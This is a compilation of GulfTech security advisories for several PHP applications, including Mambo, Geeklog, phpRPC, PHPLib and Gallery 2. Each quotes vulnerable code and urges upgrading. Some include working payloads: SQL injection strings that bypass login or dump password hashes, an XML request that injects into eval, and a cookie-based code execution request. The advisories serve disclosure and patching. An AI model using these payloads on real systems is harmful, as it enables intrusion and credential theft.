ADOdb is a database abstraction library for php used by a great deal of projects to provide support for a number of well known database api's. ADOdb also comes with various functions to perform routine database related tasks. One of the more useful of these functions is ADOdb's ability to paginate the retrieved database records by using the ADODB_Pager class. However, there are several cross site scripting issues within the ADODB_Pager class that may allow for an attacker to render malicious client side code in the victims browser. An updated version of ADOdb has been released, and users should update their ADOdb library.
Cross Site Scripting:
There are several Cross Site Scripting issues in ADOdb versions 4.71 and possibly earlier that may allow for an attacker to render malicious client side code in the victim's browser.
if (isset($_GET[$next_page])) {
$_SESSION[$curr_page] = $_GET[$next_page];
}
if (empty($_SESSION[$curr_page])) $_SESSION[$curr_page] = 1; ## at first page
$this->curr_page = $_SESSION[$curr_page];
The above code is taken from adodb-pager.inc.php @ lines 72-77 and ultimately set's the $this->curr_page variable to unsanitized user supplied input. Later on this variable is used when drawing the links for the pagination, thus allowing for Cross Site Scripting attacks to be possible. There are also several unsafe PHP_SELF calls within the script that allow for similar Cross Site Scripting attacks. In addition to these issues there are also several input validation issues in the performance scripts such as adodb-perf.inc.php and perf-oci8.inc.php, but these will not be addressed as the author says:
"The adodb perf files assume that you can execute any sql in the system from the sql form we provide. True that there could be security issues in the perf scripts, but using the perf files already assume (and require) a high level of trust."
We may include details of these vulnerabilities in this advisory at a later date. However, a new version of ADOdb was just released to address the previously mentioned Cross Site Scripting issues.
Solution:
A new version of ADOdb was recently released which addresses the previously mentioned Cross Site Scripting issues. Users should upgrade their current vulnerable ADOdb libraries.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,83 @@
Geeklog Multiple Vulnerabilities
Vendor: Geeklog
Product: Geeklog
Version: <= 1.4.0
Website: http://www.geeklog.net/
BID: 16755
CVE: CVE-2006-0823
OSVDB: 23348 23349
SECUNIA: 18920
PACKETSTORM: 44070
Description:
Geeklog is one of the most popular content management systems available today. Geeklog unfortunately is vulnerable to a number of different attacks such as SQL Injection, and arbitrary file inclusion. These attacks can be combined to ultimately execute code on the vulnerable web server in a very reliable manner. According to the developers these issues affect pretty much every version of Geeklog ever released, so users are strongly encouraged to upgrade to the latest version of Geeklog which is Geeklog 1.4.0sr1 and 1.3.11sr4
SQL Injection:
Geeklog is vulnerable to a number of SQL Injection attacks due to improperly handling user supplied GPC data.
$userid = $_COOKIE[$_CONF['cookie_name']];
if (empty ($userid) || ($userid == 'deleted')) {
unset ($userid);
} else {
if ($VERBOSE) {
COM_errorLog('NOW trying to set permanent cookie',1);
COM_errorLog('Got '.$userid.' from perm cookie in users.php',1);
}
if ($userid) {
$user_logged_in = 1;
// Create new session
$userdata = SESS_getUserDataFromId($userid);
$_USER = $userdata;
if ($VERBOSE) {
COM_errorLog('Got '.$_USER['username'].' for the username in user.php',1);
}
}
}
The above code is taken from users.php @ lines 896-913. This bit of code is vulnerable to SQL Injection because it passes the $userid variable, whose value comes from a cookie var, to the SESS_getUserDataFromId function located in lib-sessions.php @ lines 445-463. The $userid variable is never sanitized once inside the function and is eventually used in a query. While we have our attention focused on lib-sessions.php let's take a look at the function SESS_sessionCheck() which is called on nearly every page to check authentication.
$sessid = $_COOKIE[$_CONF['cookie_session']];
if ($_SESS_VERBOSE) {
COM_errorLog("got $sessid as the session id from lib-sessions.php",1);
}
$userid = SESS_getUserIdFromSession($sessid, $_CONF['session_cookie_timeout'],
$_SERVER['REMOTE_ADDR'], $_CONF['cookie_ip']);
if ($_SESS_VERBOSE) {
COM_errorLog("Got $userid as User ID from the session ID",1);
}
The above code is taken from lib-sessions.php @ lines 98-107 As you can see, the unsanitized variable $sessid is passed to the SESS_getUserIdFromSession() function where it will be used in a query. These SQL injection issues can be very dangerous, because not only is SQL Injection possible, but SQL Errors are outputted to error.log making code execution via file inclusion very easy, and reliable to exploit.
Arbitrary File Access:
There are a number of arbitrary file access vulnerabilities in Geeklog which can allow for an attacker to read arbitrary files, include arbitrary files, and ultimately execute code on the underlying web server. In lib-common.php @ lines 245 through 275 we see a bit of code that allows an attacker to specify an arbitrary local directory. If that directory exists (e.g. /home/attacker/) then an attacker would then be able to have certain files within that directory, for example "functions.php" included within Geeklog, and possibly execute arbitrary code. Also, within lib-common is an even easier to exploit issue with the way Geeklog loads languages.
if( isset( $_COOKIE[$_CONF['cookie_language']]) && empty( $_USER['language'] ))
{
if( is_file( $_CONF['path_language'] . $_COOKIE[$_CONF['cookie_language']] . '.php' ))
{
$_USER['language'] = $_COOKIE[$_CONF['cookie_language']];
$_CONF['language'] = $_COOKIE[$_CONF['cookie_language']];
}
}
else if( !empty( $_USER['language'] ))
{
if( is_file( $_CONF['path_language'] . $_USER['language'] . '.php' ))
{
$_CONF['language'] = $_USER['language'];
}
}
The above code is taken from lib-common.php @ lines 298-312 and shows us that we can load any file we want on the local server. If an attacker uses the previously mentioned SQL Injection issues to create an error that includes php code, then they can have that code easily included and executed by specifying the relative path to the error.log within the cookie's language parameter.
Solution:
Special thanks to Dirk Haun for a very prompt reply and resolution to these very serious issues. New versions of Geeklog have been released, and users should upgrade as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,78 @@
PEAR LiveUser Arbitrary File Access
Vendor: Markus Wolff
Product: PEAR LiveUser
Version: <= 0.16.8
Website: http://pear.php.net/package/LiveUser/
BID: 16761
CVE: CVE-2006-0869
OSVDB: 23495 23496
PACKETSTORM: 44140
Description:
LiveUser is a user authentication and permission management framework that is part of php's PEAR Library. LiveUser has many different features, including the ability to remember a user via cookies. Unfortunately there is an issue with how extracted cookie data is handled by the LiveUser library within the remember feature which makes it possible for an attacker to gain access to, and even delete potentially sensitive files on the webserver. An updated version of the LiveUser framework has been released, and users are advised to upgrade to LiveUser 0.16.9
Arbitrary File Access:
There is an arbitrary file access vulnerability in PEAR LiveUser that allows an attacker to access arbitrary files on the server
$cookieData = $_COOKIE[$this->_options['cookie']['name']];
if (strlen($cookieData) < 65
// kill all old style remember me cookies
|| (strpos($cookieData, ':') && strpos($cookieData, ':') < 64)
) {
// Delete cookie if it's not valid, keeping it messes up the
// authentication process
$this->deleteRememberCookie();
$this->_stack->push(LIVEUSER_ERROR_COOKIE, 'error', array(),
'Wrong data in cookie store in LiveUser::readRememberMeCookie()');
return false;
}
$store_id = substr($cookieData, 0, 32);
$passwd_id = substr($cookieData, 32, 32);
$handle = substr($cookieData, 64);
$dir = $this->_options['cookie']['savedir'];
$fh = @fopen($dir . '/' . $store_id . '.lu', 'rb');
if (!$fh) {
$this->deleteRememberCookie();
$this->_stack->push(LIVEUSER_ERROR_CONFIG, 'exception', array(),
'Cannot open file for reading');
return false;
}
$fields = fread($fh, 4096);
fclose($fh);
if (!$fields) {
$this->deleteRememberCookie();
$this->_stack->push(LIVEUSER_ERROR_CONFIG, 'exception', array(),
'Cannot read file');
return false;
}
The above code is taken from LiveUser.php @ lines 1269-1303 and clearly shows the $store_id variable being assigned unsanitized data, which is passed to an fopen called shortly thereafter. The good news is that as far as I can tell this issues can not be abused in a real world scenario much further than enumerating file existance on the local filesystem.
Arbitrary File Deletion:
Similar to the previously mentioned issue, this vulnerability may allow a malicious user to delete arbitrary files on the local server by supplying malicious cookie data.
$cookieData = $_COOKIE[$this->_options['cookie']['name']];
if (strlen($cookieData) < 65) {
$this->_stack->push(LIVEUSER_ERROR_COOKIE, 'error', array(),
'Wrong data in cookie store in LiveUser::deleteRememberCookie()');
return false;
}
$store_id = substr($cookieData, 0, 32);
@unlink($this->_options['cookie']['savedir'] . '/'.$store_id.'.lu');
The above code is also taken from LiveUser.php and resides @ lines 1343-1351. Here we see user supplied data being used in an unlink call which could allow an attacker to delete arbitrary files on the local server by traversing out of the cwd and terminating the fopen call with a null byte.
Solution:
An updated version of the LiveUser framework has been released to address these issues. The current release is LiveUser 0.16.9 and users should update their LiveUser libraries as soon as possible. Special thanks to Lukas Smith for a very prompt resolution!
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,152 @@
Mambo Multiple Vulnerabilities
Vendor: Miro International Pty Ltd
Product: Mambo
Version: <= 4.5.3h
Website: http://www.mamboserver.com
BID: 16775
CVE: CVE-2006-0871 CVE-2006-1794
OSVDB: 23402 23503 23505
SECUNIA: 18935
PACKETSTORM: 44191
Description:
Mambo is a popular Open Source Content Management System released under the GNU General Public license (GNU GPL). There are a number of security issues in Mambo which allows for SQL Injection, Authentication Bypass, and possible remote code execution via local file inclusion. There has been an updated version of Mambo released and all users are advised to upgrade as soon as possible. Also, please note that these vulnerabilities are NOT related to any worms currently taking advantage of vulnerable Mambo installations.
SQL Injection:
There are several SQL Injection issues in Mambo Open Source. The easiest to exploit of the issues allows an attacker to login as any user. The only info the attacker has to have is the target username (if no user is specified, the first user from the users table will be selected instead).
function login( $username=null,$passwd=null ) {
global $acl;
$usercookie = mosGetParam( $_COOKIE, 'usercookie', '' );
$sessioncookie = mosGetParam( $_COOKIE, 'sessioncookie', '' );
if (!$username || !$passwd) {
$username = trim( mosGetParam( $_POST, 'username', '' ) );
$passwd = trim( mosGetParam( $_POST, 'passwd', '' ) );
$passwd = md5( $passwd );
$bypost = 1;
}
$remember = trim( mosGetParam( $_POST, 'remember', '' ) );
if (!$username || !$passwd) {
echo "\n";
exit();
} else {
$this->_db->setQuery( "SELECT id, gid, block, usertype"
. "\nFROM #__users"
. "\nWHERE username='$username' AND password='$passwd'"
);
$row = null;
if ($this->_db->loadObject( $row )) {
if ($row->block == 1) {
echo "\n";
exit();
}
// fudge the group stuff
$grp = $acl->getAroGroup( $row->id );
$row->gid = 1;
if ($acl->is_group_child_of( $grp->name, 'Registered', 'ARO' ) ||
$acl->is_group_child_of( $grp->name, 'Public Backend', 'ARO' )) {
// fudge Authors, Editors, Publishers and Super Administrators
into the Special Group
$row->gid = 2;
}
The above code is from mosMainFrame class (/includes/mambo.php) and is the source of the previously mentioned problem. The function mosGetParam() for the most part just imports GPC variables, and has no real effective filtering or the like, so several variables shown above contain unsanitized data. These variables include $username, which is shortly thereafter passed to the query, thus allowing a user to bypass a login by supplying a username of "user'/*" and any password. This is a very serious issue, but should prove easy to fix by either adding better filtering in the mosGetParam() or sanitizing the data within the login() function, or both. If a malicious user is able to use this vulnerability to gain admin privileges then it is pretty much game over as an attacker could then upload, and install a malicious module and execute any php code of their choice on the server.
Another issue with Mambo Open Source is data passed to the mosMenuCheck() function is usually unsanitized in regards to the $task parameter.
function mosMenuCheck( $Itemid, $menu_option, $task, $gid ) {
global $database;
$dblink="index.php?option=$menu_option";
if ($Itemid!="" && $Itemid!=0) {
$database->setQuery( "SELECT access FROM #__menu WHERE id='$Itemid'" );
} else {
if ($task!="") {
$dblink.="&task=$task";
}
$database->setQuery( "SELECT access FROM #__menu WHERE link like '$dblink%'" );
}
$results = $database->loadObjectList();
$access = 0;
//echo "
"; print_r($results); echo "
";
foreach ($results as $result) {
$access = max( $access, $result->access );
}
return ($access <= $gid);
}
As seen in the above code the unsanitized $task variable will be used in the query as long as $Itemid is empty.
http://mambo/index2.php?option=com_content&task=-99'%20UNION%20SELECT%201%20FROM%20
mos_users%20WHERE%20username='admin'%20AND%20MID(password,1,1)='2'/*&id=24&Itemid=0
If the first character from the password hash belonging to the user "admin" is two as specified above then Mambo displays the error "You need to login". This is an easy issue to exploit, and unfortunately mosMenuCheck() is called in the same unsafe manner from other files as well. Last but not least there is an SQL Injection issue in the "com_content" component, particularly the showCategory() function.
// get the total number of published items in the category
// filter functionality
$filter = trim( mosGetParam( $_POST, 'filter', '' ) );
$filter = strtolower( $filter );
$and = '';
if ( $filter ) {
if ( $params->get( 'filter' ) ) {
switch ( $params->get( 'filter_type' ) ) {
case 'title':
$and = "\n AND LOWER( a.title ) LIKE '%". $filter ."%'";
break;
case 'author':
$and = "\n AND ( ( LOWER( u.name ) LIKE '%". $filter ."%' ) OR
( LOWER( a.created_by_alias ) LIKE '%". $filter ."%' ) )";
break;
case 'hits':
$and = "\n AND a.hits LIKE '%". $filter ."%'";
break;
}
}
}
As you can see from the above code, the $filter variable is passed to the query completely unsanitized, and allows for easy to exploit SQL Injection. This is very dangerous.
filter=' UNION SELECT 1,2,3,4,CONCAT(username,CHAR(58),password),6,7,8,9,1 FROM mos_users
WHERE 1/*&order=rdate&limit=10&id=0§ionid=&task=category&option=com_content
The above data sent in a post request to the vulnerable script will effectively dump every single username and password hash in the database to the attacker. It should be noted that the above attacks are only effective in the default php enviornment of magic_quotes_gpc off
Arbitrary File Inclusion:
It is possible to include arbitrary local files, and ultimately execute code within the vulnerable Mambo Open Source installation. The problem lies in the _setTemplate() function not properly sanitizing GPC data.
// TemplateChooser Start
$mos_user_template = mosGetParam( $_COOKIE, 'mos_user_template', '' );
$mos_change_template = mosGetParam( $_REQUEST, 'mos_change_template', $mos_user_template );
if ($mos_change_template) {
// check that template exists in case it was deleted
if (file_exists( "$mosConfig_absolute_path/templates/$mos_change_template/index.php" )) {
$lifetime = 60*10;
$cur_template = $mos_change_template;
setcookie( "mos_user_template", "$mos_change_template", time()+$lifetime);
} else {
setcookie( "mos_user_template", "", time()-3600 );
}
}
As seen in the above code, there are several unsanitized variables introduced into the function, and $mos_change_template in particular is ultimately set as the current template and used through out the application. There are never any effective traversal checks, so we can include arbitrary locations on the local machine, and in some cases execute arbitrary code as long as the file is named index.php (i.e. /tmp/index.php) The reason for the restrictions are because of the strip_tags call in mosGetParam, but some older versions of php do not use a binary safe strip_tags (CAN-2004-0595) which allows for null characters. So, in those cases the file inclusion is much more dangerous and easy to exploit.
Solution:
There has been a new version of the Mambo software released to fix the previously mentioned vulnerabilities.
http://mamboxchange.com/frs/?group_id=5
The above link contains all of the relative patches as well as the secured full releases. Users are encouraged to upgrade their Mambo installations as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,65 @@
phpRPC Remote Code Execution
Vendor: Robert Hoffman
Product: phpRPC
Version: <= 0.7
Website: http://sourceforge.net/projects/phprpc/
BID: 16833
CVE: CVE-2006-1032
OSVDB: 23514
SECUNIA: 19028
PACKETSTORM: 44267
Description:
phpRPC is meant to be an easy to use xmlrpc library. phpRPC is greatly simplified with the use of database/rpc-protocol abstraction. It should run on any php server with most data bases. Unfortunately, there is a easily exploitable remote php code execution vulnerability in the phpRPC library that allows an attacker to execute arbitrary code on the affected webserver. This vulnerability, like previously discovered vulnerabilities in various implementations of the XMLRPC protocol is possible because of unsanitized data being passed to an eval call. This of course could ultimately lead to a compromise of the under lying web server, and disclosure of sensitive data.
Remote Code Execution:
There is a very serious, easy to exploit remote code execution issue in the phpRPC library. This issue takes place in the file rpc_decoder.php within the decode() function. This function is basically responsible for decoding the incoming XML data into php readable data that can be used by the application.
/**
* Tells the decoder to process the xml data
*
* Used internaly but can also be used to send xml data to the decoder
* @param string $data Transforms $data into a php readable array
* @return array Returns an array containing the extracted data
*/
function decode($data) {
$this->parser = xml_parser_create($this->encoding);
xml_set_object($this->parser, &$this);
xml_set_element_handler($this->parser, "tag_open", "tag_close");
xml_set_character_data_handler($this->parser, "cdata");
xml_parser_set_option($this->parser, XML_OPTION_SKIP_WHITE, 1);
xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 1);
xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->encoding);
xml_parse($this->parser, $data);
xml_parser_free($this->parser);
if ($this->debug == 1) { $this->dump(); }
eval($this->code);
return $params;
}
The variable $this->code in our case is constructed by the cdata() function, and is never sanitized when placed within a base64 tag. I guess this is because it is assumed that the data will be base64 encrypted and thus harmless, but the base64_decode call isn't really executed until AFTER the vulnerable eval call parses the data within "$this->code".
<?xml version="1.0"?>
<methodCall>
<methodName>test.method
<params>
<param>
<value><base64>'));phpinfo();exit;
</param>
</params>
</methodCall>
The above xml request sent to the phpRPC server would successfully execute the phpinfo() function, but this could just as easily have been some malicious payload. The phpRPC library is not as popular as other php XMLRPC implementations, but it is used fairly often and in popular open source projects such as runcms and exoops.
Solution:
Several attempts to contact the developers were made, but according to the current exoops webmaster the phpRPC author stopped maintaining the project around 2004. Also, runcms were contacted as far back as July/August 2005 about this issue, and did respond confirming they would look in to it. However, as of last time I checked runcms still contained the vulnerable phpRPC libraries. Since there is no patch to be released, and since the project is seemingly un maintained all users are encourage to quit using the phpRPC library until a patch becomes publicly available.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,97 @@
Gallery 2 Multiple Vulnerabilities
Vendor: Bharat Mediratta
Product: Gallery 2
Version: <= 2.0.2
Website: http://gallery.menalto.com/
BID: 16940
CVE: CVE-2006-1127 CVE-2006-1128
OSVDB: 23596 23597
SECUNIA: 19104
PACKETSTORM: 44358
Description:
Gallery2, the open source web based photo album organizer is one of the most popular php web applications available today. Gallery2 suffers from a number of vulnerabilities including IP Spoofing via X_FORWARDED_FOR that may allow a malicious user to hide their identity, script injection via the faulty X_FORWARDED_FOR implementation, and also arbitrary file access which could ultimately lead to the deletion of arbitrary files on the webserver. A new version of Gallery 2 has been released and users should upgrade their Gallery 2 installations.
IP Spoofing:
There is an issue with Gallery2 that allows for users to perform actions anonymously by spoofing their identity with a bogus X_FORWARDED_FOR HTTP Header.
function getRemoteHostAddress() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} else if (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
return null;
}
return $ip;
}
The above code is responsible for the previously mentioned problem because it allows the possibly user supplied header X_FORWARDED_FOR to take precedence over REMOTE_ADDR. Unfortunately this same issues can be levereged to carry out more sinister attacks.
Script Injection:
Because the IP Address returned by Gallery2 is thought to be safe there are a number of other issues that can be exploited by sending a bogus X_FORWARDED_FOR header. For example, when adding comments in an album the user's IP is logged and displayed along with said comment. This could be used to execute arbitrary client side code such as JavaScript in the context of a user's (admin, maybe?) browser.
Arbitrary File Access:
Gallery2 is vulnerable to an arbitrary file access issue within it's session handling class. This vulnerability allows for an attacker to possibly access certain file information, and delete arbitrary files on the web server. (such as the config file or access control files like .htaccess)
function _isSessionValid() {
global $gallery;
$platform = $gallery->getPlatform();
if (!empty($this->_sessionId)) {
/* Check if the session has expired */
$sessionFile = $gallery->getConfig('data.gallery.sessions') . $this->_sessionId;
if ($platform->file_exists($sessionFile)) {
list ($ret, $lifetime) =
GalleryCoreApi::getPluginParameter('module', 'core', 'session.lifetime');
if ($ret->isError()) {
return array($ret->wrap(__FILE__, __LINE__), null);
}
list ($ret, $inactivityTimeout) =
GalleryCoreApi::getPluginParameter('module', 'core',
'session.inactivityTimeout');
if ($ret->isError()) {
return array($ret->wrap(__FILE__, __LINE__), null);
}
$lifetimeCutoff = time() - $lifetime;
$inactiveCutoff = time() - $inactivityTimeout;
$statData = $platform->stat($sessionFile);
if ($statData['mtime'] < $inactiveCutoff || $statData['ctime'] < $lifetimeCutoff) {
/* The session has timed out, remove it */
$platform->unlink($sessionFile);
} else {
return array(GalleryStatus::success(), true);
}
} else {
return array(GalleryStatus::success(), true);
}
}
return array(GalleryStatus::success(), false);
}
The above code is the function from the Gallery2 session class that checks to see whether or not a session is valid. Unfortunately this code, like most of the code in the session class relies on the value of $this->_sessionId to be valid. However, at the very beginning of the session class a check is made for a session cookie, and if that cookie is present then it is blindly loaded into _sessionId with absolutely no sanitation.
* Sanitize the session id (which may have come from user input) to
* avoid possibly writing outside the session storage dir.
*/
$this->_sessionId = preg_replace('/[^a-zA-Z0-9]/', '', $this->_sessionId);
The above code DOES sanitize the session id, but not until after the session id is already sent to the _isSessionValid() function. So, it is no problem for an attacker to specify a path outside of the web directory, and because there is nothing following the user supplied data within the constructed $sessionFile path, there is no need to specify a null byte. So, this works with magic quotes on as well as with magic quotes off. This could lead to other attacks such as gaining access to a restricted web directory by deleting a .htaccess file using the previously mentioned vulnerability.
Solution:
Thanks to Bharat Mediratta for a very prompt resolution to these issues. A new version of Gallery 2 has been released today.
http://gallery.menalto.com/gallery_2.0.3_released
Users should upgrade their Gallery 2 installations as soon as possible to the latest available version.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,77 @@
PHPLib SQL Injection
Vendor: PHPLib
Product: PHPLib
Version: <= 7.4
Website: http://phplib.sourceforge.net/
BID: 16801
CVE: CVE-2006-0887 CVE-2006-2826
OSVDB: 23466
SECUNIA: 16902
Description:
The PHP Base Library aka PHPLib is a toolkit for PHP developers supporting them in the development of Web applications. The phpLib codebase can be found in a number of applications available today. Unfortunately some of the session emulation code is vulnerable to SQL Injection issues that in a worst case scenario can lead to remote code execution by using UNION and selecting arbitrary php code into an eval call. A new version og PHPLib has been released and users should upgrade their PHPLib libraries as soon as possible.
Remote Code Execution:
There are some serious security issues in phplib's session handling that may allow an attacker to perform a range of attacks such as SQL Injection, and/or Remote Code Execution.
## Propagate the session id according to mode and lifetime.
## Will create a new id if necessary. To take over abandoned sessions,
## one may provide the new session id as a parameter (not recommended).
function get_id($id = "") {
global $HTTP_COOKIE_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
$this->newid=true;
$this->name = $this->cookiename==""?$this->classname:$this->cookiename;
if ( "" == $id ) {
$this->newid=false;
switch ($this->mode) {
case "get":
$id = isset($HTTP_GET_VARS[$this->name]) ?
$HTTP_GET_VARS[$this->name] :
( isset($HTTP_POST_VARS[$this->name]) ?
$HTTP_POST_VARS[$this->name] :
"") ;
break;
case "cookie":
$id = isset($HTTP_COOKIE_VARS[$this->name]) ?
$HTTP_COOKIE_VARS[$this->name] : "";
break;
default:
die("This has not been coded yet.");
break;
}
}
### do not accept user provided ids for creation
if($id != "" && $this->block_alien_sid) { # somehow an id was provided by the user
if($this->that->ac_get_value($id, $this->name) == "") {
# no - the id doesn't exist in the database: Ignore it!
$id = "";
}
}
The above code is from sessions.inc @ lines 85-121. The variable $id gets it's values from either GET or COOKIE and is never made safe before being passed to the function ac_get_value() which uses the variable in a query, thus allowing for SQL Injection. However, it is possible to manipulate the query in a way that php code is returned and passed to a vulnerable eval call.
GET /phplib/pages/index.php3 HTTP/1.1
Host: example.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/*
If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT
For example, the above request made to the index.php3 script that is shipped with phplib will successfully execute the phpinfo call.
Solution:
PHPLib 7.4a has been released to address these issues.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,74 @@
SquirrelMail Arbitrary Variable Overwrite
Vendor: SquirrelMail
Product: SquirrelMail
Version: <= 1.4.7
Website: http://www.squirrelmail.org
BID: 19486
CVE: CVE-2006-4019
OSVDB: 27917
SECUNIA: 21354
Description:
SquirrelMail is a standards-based webmail package written in php. It includes built-in pure PHP support for the IMAP and SMTP protocols. Unfortunately there is a fairly serious variable handling issue in one of the core SquirrelMail scripts that can allow an attacker to take control of variables used within the script, and influence functions and actions within the script. This is due to the unsafe handling of "expired sessions" when composing a message. An updated version of SquirrelMail can be downloaded from their official website. Users are advised to update their SquirrelMail installations as soon as possible.
Arbitrary Variable Overwriting:
SquirrelMail contains a vulnerability that may allow an authenticated user to overwrite important variables used by SquirrelMail, and ultimately read and or write arbitrary files to the system. Due to the nature of the vulnerability though other attacks may be possible. Again the attacker must first be authenticated, but in a real world scenario it usually is not that hard for an attacker to gain access to an email account that has a weak password via a dictionary attack or other methods. To see how this attack is possible first let's look at auth.php lines 50-67
// First we store some information in the new session to prevent
// information-loss.
//
$session_expired_post = $_POST;
$session_expired_location = $PHP_SELF;
if (!sqsession_is_registered('session_expired_post')) {
sqsession_register($session_expired_post,'session_expired_post');
}
if (!sqsession_is_registered('session_expired_location')) {
sqsession_register($session_expired_location,'session_expired_location');
}
// signout page will deal with users who aren't logged
// in on its own; don't show error here
//
if (strpos($PHP_SELF, 'signout.php') !== FALSE) {
return;
}
The above is executed on most pages as part of the authentication schema. It is fairly easy to see that an attacker can ultimately control the value of $_SESSION['session_expired_post'] by supplying a "post" to SquirrelMail containing whatever variables they would like to overwrite. The above code may be unsafe, but in itself is not vulnerable. To see where the vulnerability takes place we must look at compose.php lines 294 - 319
if (sqsession_is_registered('session_expired_post')) {
sqgetGlobalVar('session_expired_post', $session_expired_post, SQ_SESSION);
/*
* extra check for username so we don't display previous post data from
* another user during this session.
*/
if ($session_expired_post['username'] != $username) {
unset($session_expired_post);
sqsession_unregister('session_expired_post');
session_write_close();
} else {
foreach ($session_expired_post as $postvar => $val) {
if (isset($val)) {
$$postvar = $val;
} else {
$$postvar = '';
}
}
$compose_messages = unserialize(urldecode($restoremessages));
sqsession_register($compose_messages,'compose_messages');
sqsession_register($composesession,'composesession');
if (isset($send)) {
unset($send);
}
$session_expired = true;
}
In the above code we see a foreach loop that dynamically evaluates all the elements of $_SESSION['session_expired_post'] but first a check is done to make sure the username stored in $_SESSION['session_expired_post'] is the same as the currently logged in user. For an attacker this check is easy to bypass because all the data contained in $_SESSION['session_expired_post'] is supplied by the attacker. From here an attacker can now overwrite any variable which leads to a number of possible attack vectors.
Solution:
SquirrelMail 1.4.8 has been released to address these issues. I would like to thank Thijs Kinkhorst and the rest of the SquirrelMail team for a prompt resolution to this issue
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,58 @@
CubeCart Multiple Vulnerabilities
Vendor: Devellion Limited
Product: CubeCart
Version: <= 3.0.12
Website: http://www.cubecart.com
BID: 19782
CVE: CVE-2006-4525
OSVDB: 28279 28280 28281
SECUNIA: 21659
Description:
CubeCart is a very popular web application written in php that allows for an individual to open up a fully functioning online ecommerce service. Unfortunately CubeCart is vulnerable to Cross Site Scripting attacks, SQL Injection attacks, and possible remote code execution due to an attacker being able to include arbitrary php code. An updated version of CubeCart has been released and all users are encouraged to upgrade as soon as possible.
SQL injection:
There is an SQL injection in CubeCart due to an uninitialized array being used in an sql query. Let's have a look at a section of the vulnerable code from viewCat.inc.php
$searchwords = split ( "[ ,]", treatGet($_GET['searchStr']));
foreach($searchwords as $word){
$searchArray[]=$word;
}
$noKeys = count($searchArray);
$like = "";
for ($i=0; $i<$noKeys;$i++) {
$ucSearchTerm = strtoupper($searchArray[$i]);
if(($ucSearchTerm!=="AND") && ($ucSearchTerm!=="OR")){
$like .= "(name LIKE '%".$searchArray[$i]."%' OR description LIKE '%".$searchArray[$i]."%' OR
productCode LIKE '%".$searchArray[$i]."%') OR ";
As seen in the above code, the searchArray array is never initialized, thus allowing an attacker to inject arbitrary elements into the array. To exploit this issue all an attacker would have to do is append searchArray[]=SQL to their search request. Of course an attacker would need to replace "SQL" with a valid SQL Statement.
Cross Site Scripting:
There is also a cross site scripting issue in cube cart due to an uninitialized array being used. The "links" array is never initialized, and an attacer may use this to inject arbitrary html or javascript into the rendered template thus allowing for cross site scripting attacks. It should be noted that register globals must be on in order to exploit this issue.
Arbitrary File Inclusion:
There is a very dangerous file inclusion issue that can be used to remotely execute code on a target system as long as magic quotes gpc is disabled (the default php setting). This is due to the improper use of a regular expression in order to validate the vulnerable variable. Below i code from the vulnerable file named gateway.inc.php
// sanitise gateway variable
if($basket == TRUE && isset($_POST['gateway']) && eregi("[0-9a-z_-]",$_POST['gateway'])) {
//$basket = $cart->setVar($basket['shipCost'],"shipCost");
$basket = $cart->setVar($_POST['gateway'],"gateway");
include("modules/gateway/".$_POST['gateway']."/transfer.inc.php");
The above regular expression actually only checks for the prescence of alphanumeric (dashes and underscores also) characters in the "gateway" variable. So, as long as an attacker doesn't specify a string consisting of only illegal characters then the vulnerability is possible to exploit. Successful exploitation allows for remote php code execution via the inclusion of arbitrary files.
Solution:
CubeCart were very quick to release an updated version, and users are encouraged to upgrade as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,47 @@
Claroline Arbitrary File Inclusion
Vendor: Claroline
Product: Claroline
Version: <= 1.7.7
Website: http://www.claroline.net/
BID: 20056
CVE: CVE-2006-4844
OSVDB: 28827
SECUNIA: 21931
Description:
Claroline is a popular online Open Source e-Learning application used to allow teachers or education organizations to create and administrate courses through the web. Claroline is also used as the framework for other e-Learning applications such as Dokeos. Unfortunately Claroline is vulnerable to a file inclusion issue when register globals is on which may allow for an attacker to read or execute arbitrary files. Some frameworks that use Claroline (such as Dokeos) are also vulnerable to the issues mentioned here. An updated version of Claroline has been released and users should upgrade immediately and disable register_globals if possible.
Arbitrary File Inclusion:
Claroline is vulnerable to an arbitray file inclusion issue that may allow for remote code execution. The vulnerability is due to an uninitialized array being used to include files. The vulnerable code in claro_init_local.inc.php can be seen below
if (isset($extAuthSource) && is_array($extAuthSource))
{
foreach($extAuthSource as $thisAuthSource)
{
$_uid = include_once($thisAuthSource['newUser']);
if ( $_uid > 0 )
{
$uidReset = true;
$claro_loginSucceeded = true;
break;
}
else
{
$_uid = null;
$claro_loginSucceeded = false;
}
}
} //end if is_array($extAuthSource)
Unfortunately there is no authentication needed to exploit this issue, thus allowing an attacker to easily include files via the extAuthSource[newUser] variable.
Solution:
An updated version of Claroline has been released and users are encouraged to upgrade as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,37 @@
X-Cart Arbitrary Variable Overwrite
Vendor: Qualiteam
